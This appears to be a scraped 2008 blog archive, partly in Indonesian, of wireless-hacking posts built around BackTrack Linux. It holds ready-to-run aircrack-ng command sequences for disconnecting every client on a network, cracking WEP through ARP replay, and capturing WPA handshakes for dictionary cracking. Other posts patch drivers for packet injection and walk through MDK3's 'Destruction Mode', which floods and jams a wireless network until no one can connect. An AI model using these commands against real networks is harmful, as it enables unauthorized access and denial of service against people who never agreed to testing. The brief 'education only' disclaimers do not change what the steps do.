The third episode of Full Disclosure is a short one; however, it is a necessary step in cracking WPA-PSK which will be our next video. Basically this attack just disconnects all the users on a wireless network. The attacker does not need to know the WEP or WPA key or be connect to the network. This attack is illegal in many states, so this video is for education reasons only.
Download video here
Showing posts with label Wi-Fi. Show all posts
Showing posts with label Wi-Fi. Show all posts
Wireless Hacking - DeAuth
Friday, December 5, 2008
·
0
comments
Wireless Hacking - Cracking WPA
This episode of Full Disclosure illustrates the progress of Cracking weak WPA Preshared Keys. Before you can crack the Preshared Key you must capture the four way handshake between the Access Point and a client; to accomplish this you must force the client to reconnect to the AP with the DeAuthentication attack we showed in episode 3. If you are using the Linksys WUSB54GC you will have to update your drivers to RaLink RT73 USB Enhanced Driver. In this episode we show you how to do this, and I also made a Backtrack module to automate the process. The module works in the same way as the IPWRAW Module for the Intel Pro/Wireless 3945ABG card, so you can watch that Vblog if you are having troubles.
Live Stream Here
Download Here
Download RT73 Module Here
Watch IPWRAW Vblog Here
Perintah untuk Hacking Wi Fi (BackTrack)
luthfil:
a. Mematikan seluruh Client
aireplay-ng --deauth 10 -c FF:FF:FF:FF:FF:FF -a [AP MAC] ath0
b. WEP crack
airmon-ng stop ath0
airmon-ng start wifi0
airodump-ng ath0
new console
airodump-ng --channel [x] --bssid [x] -w [hasil] ath0
new console
aireplay-ng --arpreplay -b [AP MAC] -h [Client MAC] ath0
new console
aireplay-ng --deauth 5 -c [Client MAC] -a [AP MAC] ath0
aircrack-ng hasil*.cap
aircrack-ptw hasil-01.cap
c. WPA/WPA2 Crack
airmon-ng stop ath0
airmon-ng start wifi0
airodump-ng ath0
new console
airodump-ng --channel [x] --bssid [x] -w [hasil] ath0
new console
aireplay-ng --deauth 2 -c [client MAC] -a [Ap MAC] ath0
new console
aircrack-ng -w password.lst [hasil*cap]
Pergunakan dengan arif dan bijak
Hacking tools: A new version of BackTrack helps ethical hackers
Monday, December 1, 2008
·
0
comments
Labels:
Backtract DOWNLOAD,
hacking,
Wi-Fi,
wireless
Version 3.0 of BackTrack has been released. BackTrack is a Linux-based distribution dedicated to penetration testing or hacking (depending on how you look at it). It contains more than 300 of the world's most popular open source or freely distributable hacking tools.
I wrote about the first version of BackTrack back in 2006, although it was based off of Whax/Whoppix/Knoppix distributions, which started even earlier. Version 3.0, released on June 19, includes even more hacking tools (unfortunately, it still doesn't include Nessus due to vendor negotiations/restrictions), many fixes bugs, and improved menus.
Readers often ask me how they can quickly get up to speed on hacking or defending against hackers. My answer is always the same: Subscribe to multiple computer security distribution lists, read as much as you can, and learn how to (legally) hack. BackTrack is the quickest way to get access to hundreds of tools, if the Linux part doesn't scare you. For non-Linux users, this distribution is about as Windows-friendly as you can get. Most users can get up and running using BackTrack with little or no Linux knowledge. The KDE graphical user interface makes most tools and programs usable with a few mouse clicks. For instance, setting up Snort is a one-click process (try that outside of BackTrack).
BackTrack also does a decent job for wireless and password hacking. Although there's a long list of include tools, here are my personal favorites:
- Metasploit (vulnerability tester)
- Snort (intrusion detection/prevention)
- Hping (packet shaper)
- Nmap (fe gui included)
- Xprobe2 (OS identifier)
- Cisco Auditing Tool
- Curl
- Httprint (and GUI)
- Lynx (bare-bones browser)
- Nikto (awesome free Web site vulnerability scanner)
- SQL Scanner
- Milw0rm archive
- Dsniff
- Ettercap
- Hydra (password guesser)
- John the Ripper
- Wireshark (packet sniffer/analyzer)
- Kismet
- Airsnort
- Bluesnarfer
- SIPCrack
- OllyDBG
Not only does BackTrack have an excellent collection of tools, the designers of the CD have tried to align BackTrack with common penetration-testing guideline frameworks, including the Open Source Security Testing Methodology Manual and Information Systems Security Assessment Framework, which can only help any budding pen tester.
You can download several different types of images, including a 784MB USB/DVD image, a stripped-down 695MB ISO, and a 689MB VMware image.
Lest I get any angry readers taking me to task for "teaching malicious hacking," these tools are for the good guys. Bad hackers are already doing just fine without the supereasy toolkits. Overall, we need more defenders learning more, and tools like BackTrack help in that regard.
Read More......Installasi Program di Backtrack [ Part I ]
Setelah menginstall distro Backtrack di linuxbox yang saya gunakan, rasanya kurang menarik bila tidak menambahkan beberapa tools yang membantu saya dalam kegiatan tulis-menulis 
- Openoffice 2.2.1
- Abiword 2.4
- The Gimp 2.2.17
- Virtualbox 1.5.2
- Cedega 5.1
- Bluefish 1.0.7
- Kaffeine 0.8.1
- XMMS 1.2.10
- Xine-ui 0.99.5
Applikasi tersebut sudah saya coba dan berjalan tanpa hambatan, untuk menambah applikasi pada Backtrack, kita hanya memerlukan konverter module yang sama dengan distro Slax, ya karena Backtrack berbasis Slax, maka Anda dapat menggunakan tools untuk merubah file berektensi *.tgz, *.mo, *.rpm ke *.lzm, disini saya menggunakan tools seperti mo2lzm, rpm2lzm, tgz2lzm dan lzm2dir yang semua’a dapat di peroleh dari situs Slax.
Apabila tools tersebut sudah tertanam di Backtrack Anda, maka command yang dapat Anda jalankan seperti berikut :
bt ~ # mkdir /root/slax_modules/applikasi/chkrootkit-0.46a-6
bt ~ # mo2lzm chkrootkit_0_46a-6.mo chkrootkit_0_46a-6.lzm
bt ~ # lzm2dir chkrootkit_0_46a-6.mo.lzm /root/slax_modules/applikasi/chkrootkit-0.46a-6
Selanjutnya Anda hanya tinggal meng-copy paste file yang sudah di ekstrak saja
Referensi:
http://slax.hosting4p.com
http://slax.hosting4p.com/modules.php
Koneksi ke OPEN/WEP WLAN ( DHCP )
Untuk menghubungkan ke wireless LAN yang Open atau Secured by WEP (DHCP).
# iwconfig [interface] mode managed key [WEP key]
Note :
Gantilah kata “interface” dengan nama interface Anda yang lagi aktif saat ini, misal ath0, wlan0 atau eth1.
WEP key, masukkanlah kata kuci WEP, 10 karakter hexadecimal untuk 64 bit dan 26 karakter untuk 128 bit.
# iwconfig essid "[ESSID]"
ESSIS = Spesifikasi SSID dari suatu WLAN
# dhclient [interface]
Untuk mendapatkan IP address, netmask, DNS server dan default gateway dari akses poin.
Packet Injection wifi Intel 4965 AGN
Monday, November 24, 2008
·
0
comments
Finally there exists a way how to solve packet injection with driver for wifi card Intel WiFi Link 4965AGN – operating system Linux. The one modified is the original driver iwlwifi (included for example in distribution Backtrack Linux). Be aware that the packet injection is functional but still it is an experimental thing (develop version). Besides the complicated compilation and occasional unstability so far (September 2008) the aireplay-ng attack -9 (t.j test injection) does not work on 100%.
Tutorial for packet injection Intel Pro Wireless 4965AGN (iwl4965)
What do you need:
- kernel 2.6.25 or higher*,
- kernel sources,
- compat-wireless-2.6 packet,
- aircrack-ng (=””> RC1),
- basic development tools (make, gcc, …),
- injection patche for driver.
Be aware that the instruction is for generic Linux. Your distribution, mainly in case of advanced packet administration (Debian, Ubuntu, etc.), can include required packets in source (then you don’t have to compile it manually from source code).
Preparation of kernel
Make sure that your kernel configuration includes mentioned configuration. Especially watch out for those that are as modules built-in and those that can be added.
Networking -> Wireless :
[M] Improved wireless configuration API
[*] nl80211 new netlink interface support
[*] Wireless extensions
[M] Generic IEEE 802.11 Networking Stack (mac80211)
[M] Generic IEEE 802.11 Networking Stack (DEPRECATED)
[M] IEEE 802.11 WEP encryption (802.1x)
[M] IEEE 802.11i CCMP support
[M] IEEE 802.11i TKIP encryption
[M] Software MAC add-on to the IEEE 802.11 networking stack
It is also necessary to turn on “Automatic kernel module loading” under “Loadable module support”, otherwise you will end if “module dependency errors”. At this moment you can suppose that your kernel is prepared and is running.
Driver compilation
Development version of drivers exists as a part of compat-wireless project. We will need the up-to-date packet. You can get it here.
Download to your home folder (or where ever you want),then download patches for iwlwifi drivers, including fragmentation patch for mac80211. Last mentioned is available here (download 2.6.26-wl version). The first available is hang up at paste.bin.
cd ~
tar xjf compat-wireless-2.6.tar.bz2
cd compat-wireless-2008-*
wget http://pastebin.com/pastebin.php?dl=f7bc96631 -O iwl4965-injection.patch
wget http://patches.aircrack-ng.org/mac80211_2.6.26-wl_frag.patch
patch -p1 < iwl4965-injection.patch
patch -p1 < mac80211_2.6.26-wl_frag.patch
make
make install [jako root!]
make unload; rmmod ssb mac80211 cfg80211 [all as root!]
make load [as root!]
echo options iwl4965 swcrypto=1 >> /etc/modprobe.d/options [all as root!]
This will allow to start it and to use the treated driver module. In case of success in the system there is registered interface “wlan0″ and “wmaster0″, the first can be seen by iwconfig.
Injecting
From the way how mac80211 works it is obvious that you can’t inject at the original interface wlan0. This is the moment when you can use the tool airmon-ng. By this tool you will create the interface mon0 that is able to do packet injection. Command:
# airmon-ng start wlan0
If the word error appears “iw”, program not found, download and compile. Program “iw” is pendent to “libnl” pack (downloadable here). If it is successful you can try again to run airmon-ng. The output should look like this:
# airmon-ng start wlan0
Interface Chipset Driver
wlan0 Intel 4965 a/b/g/n iwl4965 - [phy0] (monitor mode enabled on mon0)
If you made it up to here your wireless card is probably ready for packet injection. Interface mon0 can be used for airodump-ng scan and aireplay-ng packet injection.
First reference and tutorial was published (in English) at tinyshell forum. The text is a translation from the record at aircrack-ng wiki. Detailed description can be found in the discussion here. The summary of steps for Ubuntu 8.04 (or here). The card ipw4965 is not at this moment available, so do the testing and your comments are welcomed at the discussion forum.
via airdump.net
Destruction Mode Charon 2 GUI
·
0
comments
Labels:
Wi-Fi
Last year we told about not so well know tool called MDK, as part of the “Cracking WEP key - Acces Point with pree-shared key (PSK” concept. Alot of time has passed by since then and now we have well workiong stable version even with GUI extension Charon. It was not much of a deal in Fall 2007, but the situation has changed. The autor has also decidedd to eneble the Destruction Mode in the menu. The extension is written in Java and is very stable. If you have not encountered the MDK tool before, it is a proof-of-concept tool from the authors of the PTW implementation in aircrack-ng (Darmstadt Lab).
It tses 8 concepts of attacking wireless networks.
b - Beacon Flood Mode sends beacon frames and confuses the client by creating fake APs. This is able to make AP scanning applications and devices unusable
a - Authentication DoS mode sends auth frames to all APs in range. This results in freezinig or restarting devices
p - Basic probing a ESSID Bruteforce mode sends probe requests to APs and checks replys
d - Deauthentication / Disassociation Amok Mode. Disconnects AP’s all clients
m - Michael shutdown exploitation (TKIP). Permanetnly interrupts all communication in the wireless network
x - Penetration test for 802.1X
w - WIDS/WIPS Confusion.
f - MAC filter bruteforce mode (works only on APs that use proper open auth denial)
The GUI interface makes clicking tool out of MDK and allows the use of the already mentioned Destruction Mode. Just so you know what really happens, it’s scenario is described below:
Destruction mode
Destruction mode combines several attacks. This attack renders IDS Cisco useless. On system that dont colapse, it at least breaks the routing table. In the last version, the proccess is semi-automatic.
1. Beacon flood generates fake Access Points with the victim’s SSID
2. Auth-DoS floods victim’s AP with auth requests (ini inteligentnt mode)
3. Amok mode dissasociates clients from the AP
4. WIDS confusion mód connects the clients via fake APs back to the ‘real’ AP
In result, noone is able to connect because Amok mode disconnects anyone who tries, clients detect thousands of AP with no clue on whichone is the realone. That will produce a nice beacon flood. The real AP will be too busy processing auth frames generated by Auth-DoS.
Interface description
Each mode opens a new interface. The main menu
Charon Auth Flood mode
Charon Deauth Flood mode
Charon Decloacking mode
Charon Deny Trafic mode
Charon Destruction mode
Charon Fake Access Point mode
Charon MAC Brute Force mode
Charon WIDS mode
Every output has it’s own control panel.
Charon is available in lzm pack (ready out-of-the-box is only in Slackware), MDK wili run on any Linux based distribution. Charon with the latest versioin of MDK3 is available in the download section. Don’t forget the wlanconfig ath0 destroy / wlanconfig ath0 create wlandev wifi0 wlanmode monitor before pentesting (when full support of VAP cards such as Atheros will be done). Corrently the supported chipsets are ipw3945 and rt73. Ps: The pack even includes airchucknorris-ng 3 , but well tell you about that next time.
via airdump.net
WPA Wi-Fi Security Gets Cracked
Your Network is No Longer Secure
When it came to setting up Wi-Fi networks, if you knew what you were doing you would enable WPA security. This would keep people with a small amount of knowledge from gaining access to your network, which is very easy with the much weaker WEP security. No more! WPA security has now been cracked, rendering all but the most tightly-locked networks open for hacking.
Researchers by the name of Erik Tews and Martin Beck were the ones to do the cracking, finding a way to break the temporary Key Integrity Protocol (TKIP) in under 15 minutes. They haven't, however, figured out how to gain access to the data that travels between the PC and the router, so that's a plus.
So what should you do to secure your network? Switch to WPA2, which is still uncracked for the time being. And if you want to be one of those marginally-skilled Wi-Fi hackers? Grab the Aircrack-ng Linux program, which has already had this new code added to it.
via gizmodo.com
Subscribe to:
Posts (Atom)
